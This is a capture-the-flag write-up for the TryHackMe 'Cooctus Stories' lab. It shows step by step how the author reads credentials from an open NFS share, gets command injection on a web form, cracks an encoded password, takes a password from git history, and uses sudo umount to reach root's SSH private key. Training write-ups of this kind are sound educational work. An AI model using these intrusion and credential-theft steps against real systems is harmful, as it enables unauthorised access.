Featured image of post TryHackMe: Cooctus Stories Writeup

TryHackMe: Cooctus Stories Writeup

Learn how to use NFS shares and leverage Python3 scripting. Be patient as you exploit numerous vulnerabilities to root. Learn about mount and umount!

Play

1. Scanning & Enumeration

We do the below scans in parallel.

1.1. Port Scanning

Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
|   256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_  256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34481/tcp6  mountd
|   100005  1,2,3      37413/udp6  mountd
|   100005  1,2,3      43347/udp   mountd
|   100005  1,2,3      56545/tcp   mountd
|   100021  1,3,4      34901/tcp6  nlockmgr
|   100021  1,3,4      46744/udp   nlockmgr
|   100021  1,3,4      46749/tcp   nlockmgr
|   100021  1,3,4      60804/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: CCHQ
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Info gathered:

  • SSH on 22 open
  • HTTP on 8080 open
  • NFS on 2049 open

1.2. Web Enumeration

Doing a basic enumeration, we get the pages: /cat and /login.

1.3. Web Exploration

The home page: home page of the cooctus clan room on THM

The login page: login page of the cooctus clan

I tried some basic SQLI attacks, but they did not work. Recall that we had the 2049 port open with NFS running. Let’s explore that first then.

1.4. NFS

Let’s see what all do we have:

┌──(kali㉿kali)-[~]
└─$ showmount --exports 10.10.80.121
Export list for 10.10.80.121:
/var/nfs/general *

Amazing! Looks like we can get something. Follow the steps to mount shares using NFS service:

  1. Go to /tmp on your machine. (Or wherever you want. I prefer /tmp.)
  2. Make a directory where the files of the other system would be mounted. Call it whatever you want.
  3. Mount the shares using sudo mount --type nfs. Make sure to sudo!
┌──(kali㉿kali)-[~]
└─$ /tmp

┌──(kali㉿kali)-[/tmp]
└─$ mkdir general

┌──(kali㉿kali)-[/tmp]
└─$ sudo mount --type nfs 10.10.80.121:/var/nfs/general general
[sudo] password for kali: 

And we have successfully mounted the files shared using NFS. Let’s explore them.

┌──(kali㉿kali)-[/tmp]
└─$ cd general   
                    
┌──(kali㉿kali)-[/tmp/general]
└─$ ls
credentials.bak                                                                   
┌──(kali㉿kali)-[/tmp/general]
└─$ cat credentials.bak                  
{username}
{password was here *nom* *nom* sorry what?}

And we get the credentials for the login!

2. Foothold

2.1. Getting RCE

We finally get in. We see a page where we can put payload. the cat page of the thm room

It took me a lot of experimentation and time to get RCE. Here’s what I figured.

  • Whatever you put in the payload gets echo-ed exactly as is, on the resultant page.
  • There may be php or python3 or whatever program running.
  • What if the input is not sanitised? How about using “;”?
  • Trying out wow"; echo “bruh” - does not work.
  • Checking for more, I get this page: OWASP Command Injection, how about “|” in the list?

I use reverse shells from Reverse Shell Generator.

Getting remote code execution (RCE)

BONUS:

  • I tried other revshells: bash and the mkfifo one. Did not work.
  • I tried using & and &&. Also did not work.

2.2. Exploring

I like to check a couple of things when I first get in any machine:

  • What all users exist?
  • All files having SUID bits set
  • crontab
  • Kernel version

Users

$ cd /home
cd /home
$ ls
ls
paradox  szymex  tux  varg

SUID bits

$ bash -i
bash -i
paradox@cchq:/home$ find / -type f -perm -u=s 2> /dev/null
find / -type f -perm -u=s 2> /dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/home/varg/CooctOS.py
/bin/ping
/bin/mount
/bin/su
/bin/umount
/bin/fusermount
/sbin/mount.nfs

One of them pops out!

paradox@cchq:/home$ ls -la /home/varg/CooctOS.py
ls -la /home/varg/CooctOS.py
-rwsrws--x 1 varg varg 2146 Feb 20 22:05 /home/varg/CooctOS.py

Kernel Version

paradox@cchq:~$ uname -a
uname -a
Linux cchq 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Upto date.

crontab

paradox@cchq:~$ cat /etc/crontab  
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* *     * * *   szymex  /home/szymex/SniffingCat.py
#

Last line looks very interesting.

2.3. Info Gathered

  • /home/szymex/SniffingCat.py is running every minute, by the user szymex
  • /home/varg/CooctOS.py has SUID set Okay. We are ready for PrivEscs.

3. PrivEsc

3.1. szymex

Exploring inside szy, we get a file called note_to_para and SniffingCat.py.

paradox@cchq:/home/szymex$ cat note_to_para
cat note_to_para
Paradox,

I'm testing my new Dr. Pepper Tracker script. 
It detects the location of shipments in real time and sends the coordinates to your account.
If you find this annoying you need to change my super secret password file to disable the tracker.

You know me, so you know how to get access to the file.

- Szymex

Looks like szy has some password there. Let’s open it up.

paradox@cchq:/home/szymex$ cat SniffingCat.py
cat SniffingCat.py
#!/usr/bin/python3
import os
import random

def encode(pwd):
    enc = ''
    for i in pwd:
        if ord(i) > 110:
            num = (13 - (122 - ord(i))) + 96
            enc += chr(num)
        else:
            enc += chr(ord(i) + 13)
    return enc


x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)

message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)

with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
    line = f.readline().rstrip("\n")
    enc_pw = encode(line)
    if enc_pw == "{encoded_password_was_here_mmm}":
        os.system("wall -g paradox " + message)
        os.system("wall -g paradox " + coords)

What’s happening here?

  • Every minute (for eternity) the above script is run
  • The script opens a mysupersecretpassword.cat file and checks if the thing put in can be encoded to be same.
  • We need to find the string that encodes as the above. Python3 scripting time!

Here’s what I came up with:

import string


def encode(pwd):
    enc = ""
    for i in pwd:
        if ord(i) > 110:
            num = (13 - (122 - ord(i))) + 96
            enc += chr(num)
        else:
            enc += chr(ord(i) + 13)
    return enc


ans = ""
for c in "{yee_haww}":
    save = None
    for x in string.printable:
        save = x
        if encode(x) == c:
            break
    ans += save
print(ans)

After cracking this, maybe we can try directly sudo-ing into szymex?

paradox@cchq:~$ su szymex
su szymex
Password:

szymex@cchq:/home/paradox$ cd ~
cd ~
szymex@cchq:~$

Works!

3.2. tux

I was stuck here for a bit, before I tried id.

szymex@cchq:~$ id
id
uid=1001(szymex) gid=1001(szymex) groups=1001(szymex),1004(testers)

testers looks intersting. Let’s see what all do we have.

szymex@cchq:/home/varg$ find / -type f -group testers 2> /dev/null
find / -type f -group testers 2> /dev/null
/home/tux/tuxling_3/note
/home/tux/tuxling_1/nootcode.c
/home/tux/tuxling_1/note
/media/tuxling_2/private.key
/media/tuxling_2/note
/media/tuxling_2/fragment.asc

Woah. That’s a lotta files. Going through them,

Note 3:

Hi! Kowalski here. 
I was practicing my act of disappearance so good job finding me.

Here take this,
The last fragment is: {wow3}

Combine them all and visit the station.

Note 1:

#include <stdio.h>

#define noot int
#define Noot main
#define nOot return
#define noOt (
#define nooT )
#define NOOOT "{hidden}"
#define NooT ;
#define Nooot nuut
#define NOot {
#define nooot key
#define NoOt }
#define NOOt void
#define NOOT "NOOT!\n"
#define nooOT "{hidden}"
#define noOT printf
#define nOOT 0
#define nOoOoT "What does the penguin say?\n"
#define nout "{hidden}"

noot Noot noOt nooT NOot
    noOT noOt nOoOoT nooT NooT
    Nooot noOt nooT NooT

    nOot nOOT NooT
NoOt

NOOt nooot noOt nooT NOot
    noOT noOt NOOOT nooOT nout nooT NooT
NoOt

NOOt Nooot noOt nooT NOot
    noOT noOt NOOT nooT NooT
NoOt

Its C code, with a lot of #s. Compiling, we get:

┌──(kali㉿kali)-[/tmp]
└─$ ./a.out
What does the penguin say?
NOOT!

Not helpful. Although, looking at the source more closely, we can see some hex strings. They are in the line which I have translated below.

... printf *** **** *** ; ...

We get the first string!

Note 2:

szymex@cchq:/home/varg$ cat /media/tuxling_2/note
cat /media/tuxling_2/note
Noot noot! You found me. 
I'm Rico and this is my challenge for you.

General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).

You can have the key fragment if you can decrypt it.

Good luck and keep on nooting!

Looks like we are looking at a pgp key.

szymex@cchq:~$ file /media/tuxling_2/fragment.asc
file /media/tuxling_2/fragment.asc
/media/tuxling_2/fragment.asc: PGP message Public-Key Encrypted Session Key (old)

I initially tried breaking it, but then I saw the /media/tuxling_2/private.key file. Import the key and we are done!

szymex@cchq:~$ file /media/tuxling_2/fragment.asc
file /media/tuxling_2/fragment.asc
/media/tuxling_2/fragment.asc: PGP message Public-Key Encrypted Session Key (old)

szymex@cchq:~$ gpg --import /media/tuxling_2/private.key
gpg --import /media/tuxling_2/private.key
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
szymex@cchq:~$ gpg --decrypt /media/tuxling_2/fragment.asc
gpg --decrypt /media/tuxling_2/fragment.asc
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
      "TuxPingu"
The second key fragment is: {wow2}

We have all the fragments now! But now what? I tried breaking the cipher, but it didn’t work. What if it were a hash instead? Going to CrackStation we get the cracked hash!

3.3 varg

In this user I saw a .ssh folder. Good news! Here’s how to ssh into the tux user.

  1. Go to ~/.ssh on your machine
  2. Get your id_rsa.pub
  3. echo "{your_id_rsa.pub here} > authorized_keys"
  4. SSH in!
┌──(kali㉿kali)-[~/.ssh]
└─$ ssh tux@10.10.59.77                     
The authenticity of host '10.10.59.77 (10.10.59.77)' can't be established.
ECDSA key fingerprint is SHA256:7/RM1nMYqyZHC8ICXMcPUC3vIVlZuQab39ZsXs9Q+NI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.59.77' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jun 23 06:55:44 UTC 2021

  System load:  0.08               Processes:           118
  Usage of /:   35.2% of 18.57GB   Users logged in:     0
  Memory usage: 66%                IP address for eth0: 10.10.59.77
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 of these updates are security updates.


Last login: Mon Feb 22 18:43:28 2021
tux@cchq:~$ 

Exploring a bit, we see -

tux@cchq:/home/varg/cooctOS_src/games$ cat note
Hey Varg! 

I've created a little game called Adventure. 
If you like it, we could ship it with the OS when it's ready :)

- Tux

Game was nice (i got the easter egg too XD). But now what? There was a .git directory that I missed. Checking it out, we have:

tux@cchq:/home/varg/cooctOS_src$ git log
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <varg@cchq.noot>
Date:   Sat Feb 20 15:47:21 2021 +0000

    Removed CooctOS login script for now

commit 6919df5c171460507f69769bc20e19bd0838b74d
Author: Vargles <varg@cchq.noot>
Date:   Sat Feb 20 15:46:28 2021 +0000

    Created git repo for CooctOS

Maybe something was hidden in the later commits? Let’s see the diff.

+print("CooctOS 13.3.7 LTS cookie tty1")
+uname = input("\ncookie login: ")
+pw = input("Password: ")
+
+for i in range(0,2):
+    if pw != "{woah_not_so_fast_copy_cat_man}":
+        pw = input("Password: ")
+    else:
+        if uname == "varg":
+            os.setuid(1002)
+            os.setgid(1002)
+            pty.spawn("/bin/rbash")
+            break
+        else:
+            print("Login Failed")
+            break

Ah yes! We get the creds.

tux@cchq:/home/varg/cooctOS_src$ su varg
Password: 
varg@cchq:~/cooctOS_src$ cd ~
varg@cchq:~$

3.4. root

I checked the sudo permissions:

varg@cchq:~$ sudo -l
Matching Defaults entries for varg on cchq:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User varg may run the following commands on cchq:
    (root) NOPASSWD: /bin/umount

GTFOBins only mentioned that of /bin/mount and not /bin/umount. What next? Realise that we may have something intersting mounted :D

varg@cchq:~$ df -ha
...

/dev/mapper/ubuntu--vg-ubuntu--lv   19G  6.6G   12G  38% /opt/CooctFS
...

Here’s what happened:

  • df reports file system disk space usage
  • -h flag is human readable, because we did
  • -a flag which displays everything

Going in however, we see only:

varg@cchq:/dev/mapper$ cd /opt/CooctFS
varg@cchq:/opt/CooctFS$ ls
bin  boot  etc  games  lib  run  tmp  var

Its the same as what we saw before. But hold up! Recall the sudo permissions to umount? Let’s do it!

varg@cchq:/opt/CooctFS$ sudo umount /opt/CooctFS
umount: /opt/CooctFS: target is busy.
varg@cchq:/opt/CooctFS$ cd /
varg@cchq:/$ sudo umount /opt/CooctFS
varg@cchq:/$ cd -
/opt/CooctFS
varg@cchq:/opt/CooctFS$ ls
root

Wait what happened here?

  • We were allowed to run sudo /bin/umount or just sudo umount without a password
  • The /opt/CooctFS/root/ folder existed in the /opt/CooctFS/ folder beforehand
  • We were not able to see this because there was the other stuff listed out, which in effect, hid the /root/ directory till we lifted the mount.

You can explore more on the linux mount what exactly was happening. Look for the bind keyword! Thanks to @crazyjointje for the explaination and myiops#2207 for pointing out the bind functionality (#room-hints, TryHackMe Discord).

Nice. Let’s see the contents -

varg@cchq:/opt/CooctFS$ cd root/
varg@cchq:/opt/CooctFS/root$ ls -la
total 28
drwxr-xr-x 5 root root 4096 Feb 20 09:16 .
drwxr-xr-x 3 root root 4096 Feb 20 09:09 ..
lrwxrwxrwx 1 root root    9 Feb 20 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Feb 20 09:09 .bashrc
drwx------ 3 root root 4096 Feb 20 09:09 .cache
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .local
-rw-r--r-- 1 root root   43 Feb 20 09:16 root.txt
drwxr-xr-x 2 root root 4096 Feb 20 09:41 .ssh
varg@cchq:/opt/CooctFS/root$ cat root.txt
hmmm...
No flag here. You aren't root yet.

But … we have the .ssh folder. Do you know dear reader, what that means? We can login as root! cat the id_rsa private key, copypaste it on your system

┌──(kali㉿kali)-[/tmp]
└─$ chmod 600 id_rsa

┌──(kali㉿kali)-[/tmp]
└─$ ssh -i id_rsa root@10.10.59.77
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jun 23 07:25:01 UTC 2021

  System load:  0.08               Processes:           125
  Usage of /:   35.2% of 18.57GB   Users logged in:     1
  Memory usage: 63%                IP address for eth0: 10.10.59.77
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Feb 20 22:22:12 2021 from 172.16.228.162
root@cchq:~# 

And … we are done!

Built with Hugo
Theme Stack designed by Jimmy